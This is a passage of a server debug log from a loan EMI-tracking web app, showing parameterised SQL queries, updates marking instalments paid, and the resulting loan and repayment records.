  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-03-02T10:48:09.947Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-03-02T10:48:09.948Z server-connect:app Executing action step identify
2026-03-02T10:48:09.948Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:09.948Z server-connect:output identity: 1
2026-03-02T10:48:09.948Z server-connect:app Executing action step restrict
2026-03-02T10:48:09.948Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:09.948Z server-connect:output restrict: undefined
2026-03-02T10:48:09.949Z server-connect:app Executing action step update
2026-03-02T10:48:09.949Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-03-02T10:48:09.951Z server-connect:output update: { affected: 1 }
2026-03-02T10:48:10.252Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-02T10:48:10.252Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-02T10:48:10.252Z server-connect:app Executing action step identify
2026-03-02T10:48:10.252Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:10.252Z server-connect:output identity: 1
2026-03-02T10:48:10.252Z server-connect:app Executing action step restrict
2026-03-02T10:48:10.252Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:10.253Z server-connect:app Executing action step identify
2026-03-02T10:48:10.253Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:10.253Z server-connect:output identity: 1
2026-03-02T10:48:10.253Z server-connect:app Executing action step restrict
2026-03-02T10:48:10.253Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:10.253Z server-connect:output restrict: undefined
2026-03-02T10:48:10.253Z server-connect:app Executing action step select
2026-03-02T10:48:10.253Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-02T10:48:10.254Z server-connect:output restrict: undefined
2026-03-02T10:48:10.254Z server-connect:app Executing action step custom
2026-03-02T10:48:10.254Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-02T10:48:10.254Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-03-02T10:48:10.256Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '6',
    total_remaining_amount: 32016,
    total_paid_amount: 160080,
    percentage_paid: '83.33'
  }
]
2026-03-02T10:48:14.012Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-02T10:48:14.012Z server-connect:app Executing action step identify
2026-03-02T10:48:14.012Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:14.012Z server-connect:output identity: 1
2026-03-02T10:48:14.012Z server-connect:app Executing action step restrict
2026-03-02T10:48:14.012Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:14.013Z server-connect:output restrict: undefined
2026-03-02T10:48:14.013Z server-connect:app Executing action step select
2026-03-02T10:48:14.013Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-02T10:48:14.014Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-03-02T10:48:19.975Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-03-02T10:48:19.976Z server-connect:app Executing action step identify
2026-03-02T10:48:19.976Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:19.977Z server-connect:output identity: 1
2026-03-02T10:48:19.977Z server-connect:app Executing action step restrict
2026-03-02T10:48:19.977Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:19.977Z server-connect:output restrict: undefined
2026-03-02T10:48:19.977Z server-connect:app Executing action step update
2026-03-02T10:48:19.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-03-02T10:48:19.978Z server-connect:output update: { affected: 1 }
2026-03-02T10:48:20.331Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-02T10:48:20.331Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-02T10:48:20.332Z server-connect:app Executing action step identify
2026-03-02T10:48:20.332Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:20.332Z server-connect:output identity: 1
2026-03-02T10:48:20.332Z server-connect:app Executing action step restrict
2026-03-02T10:48:20.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:20.332Z server-connect:app Executing action step identify
2026-03-02T10:48:20.332Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:20.332Z server-connect:output identity: 1
2026-03-02T10:48:20.332Z server-connect:app Executing action step restrict
2026-03-02T10:48:20.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:20.333Z server-connect:output restrict: undefined
2026-03-02T10:48:20.333Z server-connect:app Executing action step select
2026-03-02T10:48:20.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-02T10:48:20.333Z server-connect:output restrict: undefined
2026-03-02T10:48:20.333Z server-connect:app Executing action step custom
2026-03-02T10:48:20.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-02T10:48:20.334Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
